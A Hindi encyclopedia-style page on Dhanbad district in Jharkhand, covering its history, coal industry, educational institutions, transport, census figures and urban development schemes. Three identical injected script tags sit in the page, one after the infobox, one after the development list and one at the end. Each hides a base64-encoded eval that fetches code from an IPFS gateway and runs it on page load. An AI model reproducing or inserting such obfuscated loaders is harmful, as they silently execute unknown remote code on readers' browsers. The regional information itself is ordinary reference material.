धनबाद ज़िला
धनबाद | धनबाद पर्यटन | धनबाद ज़िला |
धनबाद ज़िला
| |
राज्य | झारखंड |
मुख्यालय | धनबाद |
स्थापना | 26 अक्टूबर 1956 |
जनसंख्या | 2,397,102 (2001) |
क्षेत्रफल | 2886 वर्ग किमी |
भौगोलिक निर्देशांक | 24°4' उत्तर 86°50' पूर्व |
मंडल | 8 |
खण्डों की सँख्या | 9 |
नगर | धनबाद |
मुख्य पर्यटन स्थल | पंचेत, तोपचांची, मैथन, पानर्रा, चारक |
लिंग अनुपात | 819 ♂/♀ |
साक्षरता | 76.59 % |
· स्त्री | (2007) 62.03 % |
· पुरुष | 89.13 % |
ऊँचाई | 761 फ़ीट (232 मी) समुद्रतल से |
वर्षा | 1309 मिमि |
दूरभाष कोड | 0326 |
वाहन पंजी. | JH-10 |
बाहरी कड़ियाँ | आधिकारिक वेबसाइट |
अद्यतन | मई 2010 |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
सन 1928 में धनबाद के ज़िला घोषित होने के साथ ही प्रशासनिक दृष्टिकोण से ज़िले के गठन की तैयारियाँ भी शुरू हो चुकी थी। लेकिन प्रशासनिक दृष्टिकोण से ज़िले का गठन आज़ादी के पूर्व नहीं हो सका। आज़ादी के बाद केन्द्र सरकार द्वारा स्थापित राज्य पुनर्गठन आयोग की सिफारिश पर 26 अक्टूबर, 1956 को धनबाद ज़िले की स्थापना कि अधिसूचना संख्या 1911- जारी की गई। इसके एक ही दिन बाद 26 अक्टूबर को ज़िले के प्रथम उपयुक्त शरण सिंह की पद स्थापना हुई और इसके बाद उन्होंने इसी दिन पदभार ग्रहण किया। प्रारंभ में धनबाद ज़िला मानभुम ज़िले के सदर अनुमंडल के कुछ हिस्सो, 'धनबाद अनुमंडल' व 'चास अनुमंडल' से बना था। ज़िले के स्वरूप में पहली बार परिवर्तन देखने को मिला, जब 1991 में तत्कालीन बिहार सरकार ने चास अनुमंडल और गिरिडीह ज़िले के बेरमो अनुमंडल को मिलाकर बोकारो ज़िले के गठन की अधिसूचना जारी की। इसके बाद से ज़िले के बाहरी स्वरूप में कोई परिवर्तन देखने को नहीं मिला। इसके आंतरिक संरचना में परिवर्तन किया गया व नवंबर 2008 में ज़िले में पूर्वी टुंडी प्रखंड की अधिसूचना जारी होने के साथ ही अब इसके 9 प्रखंड हो गए है।
उद्योग व व्यवसाय
धनबाद कोयला उद्योग के लिए पूरे देश में विख्यात है, जो कि मेट्रो सिटी कोलकाता के नज़दीक है व जिसकी दूरी कोलकाता से 250 किलोमीटर है। कोलकाता के उत्तर- पश्चिम स्थित धनबाद कोलियरी के झरिया क्षेत्र में देश का सबसे बड़ा कोकिंग कोयले का भंडार है। इन भंडारों से अगले कई वषों तक कोयले की खनन की जा सकती है।
शैक्षणिक संस्थान
शैक्षणिक संस्थानों से पूरे देश में धनबाद का गौरव बढ़ा है। जिसमें कि-
- इंडियन स्कूल ऑफ माइंस यूनिवर्सिटी-आई.एस.एम.यू
- बिहार इंस्ट्रीट्यूट ऑफ टेक्नोलॉजी
- बी.आई.टी सिदंरी
के अलावा दर्जनों कॉलेज व सैकड़ों की संख्या में प्राइवेट व सरकारी स्कूलों से धनबाद का गौरव बढ़ा है। वैज्ञानिक रिसर्च कार्यों के लिए देश प्रसिद्ध सेंट्रल इंस्ट्रीटयूट फ़ॉर माइनिंग एण्ड फ्युअल रिसर्च (सी.आई.एम.एफ.आर) भी धनबाद में स्थापित है।
परिवहन
सड़क व रेल मार्ग के लिए धनबाद झारखण्ड में अपना विशेष स्थान बना चुका है वहीं वायुमार्ग के दृष्टिकोण से बरवा अड्डा इकाई पट्टी के विस्तारीकरण का काम तेज़ीसे चल रहा है।
रेल मार्ग
धनबाद में रेल मंडल कार्यालय है जो यहाँ से गुजरने वाली सैकड़ों रेलगाड़ियाँ व आसपास के ज़िलों के लिए भी उपयोगी साबित हो रहा है। बोकारो, गिरिडीह, जामताड़ा आदि ज़िलों से लोग धनबाद में देश के दूसरे कोनों के लिए रेलगाड़ियाँ पकड़ने पहुँचते हैं।
सड़क मार्ग
सड़क मार्ग के क्षेत्र में धनबाद का परिचय जीटी रोड के गुजरने के कारण पूरे देश में है।
वायु मार्ग
वर्तमान में हवाई यात्रा के लिए धनबाद से कोलकाता अथवा राँची जाने की व्यवस्था है।
जनसंख्या
धनबाद भारत के उन चुनिंदा शहरों में से है जिसकी आबादी पूरी गति से बढ़ रही है। चारों ओर फैले कोलियरियों और इनमें काम करनेवाले लोगों की बनी कालोनियों के कारण धनबाद में शहरी जनसंख्या व ग्रामीण जनसंख्या का अंतर नाम मात्र है।
जिस गति से शहरीकरण और यहाँ की आबादी का विस्तार हो रहा है उससे यह आकलन किया जा सकता है कि आनेवाले दिनों में शहरी आबादी ग्रामीण आबादी से अधिक हो जाएगी।
जनगणना
2001 की जनगणना के अनुसार 24 लाख से अधिक आबादी वाले धनबाद ज़िले का मुख्य शहर कभी एक छोटा सा क़स्बा था और इसकी आबादी हज़ारों में सिमटी हुई थी। धीरे-धीरे इसका विकास हुआ व 1921 में धनबाद नगर पालिका क्षेत्र की आबादी 11973 और 1931 में 16356 थी। कोयले के विकास के साथ ही शहर का विकास होता गया। 1981 में धनबाद नगर पालिका क्षेत्र की आबादी 1,20,221 थी, जो शहरीकरण की ओर बढते प्रारंभिक क़दमों का सूचक था। कोयला खदानों के आधार पर धीरे धीरे विकास कर रहे धनबाद में प्रारंभ के दिनों से ही श्रमिकों की भरमार रही है। यही मुख्य कारण है कि पहली जनगणना में लिंगानुपात मात्र 656 था, जो कि बढ़कर 2001 की जनसंख्या के अनुसार 819 हो गया है।
विकास
नगरों के विकास के लिए सरकार की महत्त्वाकांक्षी योजना जवाहरलाल नेहरु शहरी पुनरूद्धार मिशन के तहत धनबाद को चुना गया है। मिशन के तहत धनबाद के डी. पी. आर. को स्वीकृति मिल चुकी है और परामर्शी संस्थाए तेज़ीसे कार्यों को मूर्त रूप देने में जुटी हैं। योजना के पूरा होने से धनबाद की एक अलग छवि बनकर तैयार होगी ।
- बेसिक सर्विसेज टू अरबन पूअर -BSUP- के तहत शहर में स्लम क्षेत्र के वासियों के लिए पक्का मकान बनाने का काम शुरू हो चुका है और इसके लिए टेंडर को भी स्वीकृति मिल चुकी है।
- निगम क्षेत्र में जलापूर्ति के लिए 365.85 करोड की योजनाओं को स्वीकृति मिली है।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>